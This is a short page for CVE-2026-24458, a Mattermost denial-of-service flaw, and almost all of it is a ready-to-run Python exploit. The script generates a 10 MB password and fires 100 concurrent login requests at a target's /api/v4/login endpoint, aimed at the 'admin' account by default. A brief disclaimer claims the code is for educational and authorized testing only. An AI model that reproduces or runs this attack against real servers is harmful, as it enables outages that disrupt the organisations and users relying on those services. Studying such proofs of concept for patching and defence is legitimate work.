CVE-2026-24458 Mattermost超长密码导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-24458 PoC - Mattermost DoS via oversized password Note: This PoC is for educational and authorized testing purposes only. """ import requests import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-mattermost-server/api/v4/login" # Generate multi-megabyte password payload MEGA_BYTE = 1024 * 1024 PAYLOAD_SIZE_MB = 10 # 10MB password def create_oversized_password(size_mb): """Generate oversized password payload""" return "A" * (size_mb * MEGA_BYTE) def send_login_request(username, password): """Send login request with oversized password""" data = { "login_id": username, "password": password } headers = { "Content-Type": "application/json" } try: response = requests.post(TARGET_URL, json=data, headers=headers, timeout=30) return response.status_code except requests.exceptions.RequestException as e: return f"Error: {e}" def dos_attack(target_user="admin", num_requests=100, workers=10): """ Execute DoS attack by sending multiple login requests with oversized passwords """ print(f"[*] Starting DoS attack on {TARGET_URL}") print(f"[*] Payload size: {PAYLOAD_SIZE_MB}MB per request") print(f"[*] Sending {num_requests} requests with {workers} workers") password = create_oversized_password(PAYLOAD_SIZE_MB) start_time = time.time() with ThreadPoolExecutor(max_workers=workers) as executor: futures = [ executor.submit(send_login_request, target_user, password) for _ in range(num_requests) ] for i, future in enumerate(as_completed(futures), 1): status = future.result() print(f"[+] Request {i}/{num_requests} completed - Status: {status}") elapsed = time.time() - start_time print(f"[*] Attack completed in {elapsed:.2f} seconds") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] dos_attack()